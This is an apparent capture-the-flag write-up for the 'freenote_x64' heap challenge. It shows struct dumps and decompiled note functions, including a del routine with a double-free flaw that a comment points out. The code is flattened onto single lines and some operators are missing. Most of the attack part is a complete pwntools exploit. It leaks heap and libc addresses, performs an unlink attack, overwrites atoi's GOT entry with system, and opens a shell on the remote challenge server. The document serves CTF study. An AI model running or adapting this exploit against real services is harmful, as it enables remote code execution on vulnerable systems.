1
2
3
4
5
6
7

00000000
00000000 headptr         struc ; (sizeof=0x1810, align=0x8, mappedto_6)
00000000 max             dq ?
00000008 count           dq ?
00000010 nodelist        note 256 dup(?)
00001810 headptr         ends
00001810

1
2
3
4
5
6
7

00000000 note            struc ; (sizeof=0x18, align=0x8, mappedto_7)
00000000                                         ; XREF: headptr/r
00000000 inuse           dq ?
00000008 size            dq ?
00000010 data            dq ?
00000018 note            ends
00000018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

int new()
{__int64 v0; // raxvoid *buf; // ST18_8int i; // [rsp+Ch] [rbp-14h]int size; // [rsp+10h] [rbp-10h]if ( head->count < head->max ){for ( i = 0; ; ++i ){v0 = head->max;if ( i >= head->max )break;if ( !head->nodelist[i].inuse ){printf("Length of new note: ");size = retint();if ( size > 0 ){if ( size > 4096 )size = 4096;buf = malloc((128 - size % 128) size);printf("Enter your note: ");mread1(buf, size);head->nodelist[i].inuse = 1LL;head->nodelist[i].size = size;head->nodelist[i].data = buf;++head->count;LODWORD(v0) = puts("Done.");}else{LODWORD(v0) = puts("Invalid length!");}return v0;}}}else{LODWORD(v0) = puts("Unable to create new note.");}return v0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

int list()
{__int64 v0; // raxunsigned int i; // [rsp+Ch] [rbp-4h]if ( head->count <= 0 ){LODWORD(v0) = puts("You need to create some new notes first.");}else{for ( i = 0; ; ++i ){v0 = head->max;if ( i >= head->max )break;if ( head->nodelist[i].inuse == 1 )printf("%d. %s\n", i, head->nodelist[i].data);}}return v0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

int edit()
{headptr *v1; // rbxint v2; // [rsp+4h] [rbp-1Ch]int v3; // [rsp+8h] [rbp-18h]printf("Note number: ");v3 = retint();if ( v3 < 0 || v3 >= head->max || head->nodelist[v3].inuse != 1 )return puts("Invalid number!");printf("Length of note: ");v2 = retint();if ( v2 <= 0 )return puts("Invalid length!");if ( v2 > 4096 )v2 = 4096;if ( v2 != head->nodelist[v3].size ){v1 = head;v1->nodelist[v3].data = realloc(head->nodelist[v3].data, (128 - v2 % 128) v2);// 0 128 256head->nodelist[v3].size = v2;}printf("Enter your note: ");mread1(head->nodelist[v3].data, v2);return puts("Done.");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int del()
{int v1; // [rsp+Ch] [rbp-4h]if ( head->count <= 0 )return puts("No notes yet.");printf("Note number: ");v1 = retint();if ( v1 < 0 || v1 >= head->max )return puts("Invalid number!");--head->count;head->nodelist[v1].inuse = 0LL;               // 未check是否inuse 任意次数freehead->nodelist[v1].size = 0LL;free(head->nodelist[v1].data);return puts("Done.");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

-----+--------------------
0x00 | head   size
0x10 | data   data
.... | data   data
0x80 | data   data
-----+--------------------
0x90 | head   size
0xa0 | data   data
.... | data   data
0x110| data   data
-----+--------------------
0x120| head   size
0x130| data   data
.... | data   data
0x1a0| data   data
--------------------------

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

from pwn import *r = remote("pwn2.jarvisoj.com",9886)
# r = process("./freenote_x64",env={'LD_PRELOAD':'./libc-2.19.so'})
got_atoi = 0x602070
libc_mainarena = 0x3BE760
libc_system = 0x46590def show():r.sendlineafter("choice: ","1")def new(text):r.sendlineafter("choice: ","2")r.sendlineafter("new note: ",str(len(text)))r.sendafter("your note: ",text)def edit(index,text):r.sendlineafter("choice: ","3")r.sendlineafter("Note number: ",str(index))r.sendlineafter("Length of note: ",str(len(text)))r.sendafter("your note: ",text)def free(index):r.sendlineafter("choice: ","4")r.sendlineafter("Note number: ",str(index))def exp():#leakprint "start"new("1")new("2")new("3")new("4")free(0)free(2)new("aaaaaaaa")new("aaaaaaaa")show()r.recv(11)s = r.recv(4)heap_base = u64(s+'\x00'*4)print "heap_base : 0x%x"%heap_baser.recv(17)s = r.recv(6)main_arena = u64(s+'\x00'*2)print "mainarena : 0x%x"%main_arenachunklist0 = heap_base - 0x1910#delfree(0)free(1)free(2)free(3)#unlinknew("1")new("2")new("3")free(0)free(1)free(2)payload = ""payload += "a"*8 + p64(0x81)payload += p64(chunklist0-0x18) + p64(chunklist0-0x10)payload += p64(0x0) * 2 * 6payload += p64(0x80) + p64(0x90)payload += p64(0x0) * 2 * 8payload += "a"*8 + p64(0x91)new(payload)free(1)   #unlink  ptr[0] -> &ptr[0] - 0x18#attacklibc_base = main_arena - 88 - libc_mainarenaprint "libc_base : 0x%x"%libc_basesystem = libc_base + libc_systemprint "sytem_add : 0x%x"%system#getshellpayload1 = p64(0x1) + p64(0x1)payload1 += p64(0x120) + p64(chunklist0-0x18)payload1 += p64(0x1) + p64(8) + p64(got_atoi)payload1 += p64(0)*2 * 14 + p64(0)print hex(len(payload1))edit(0,payload1)edit(1,p64(system))r.sendline("/bin/sh")r.interactive()if __name__=="__main__":exp()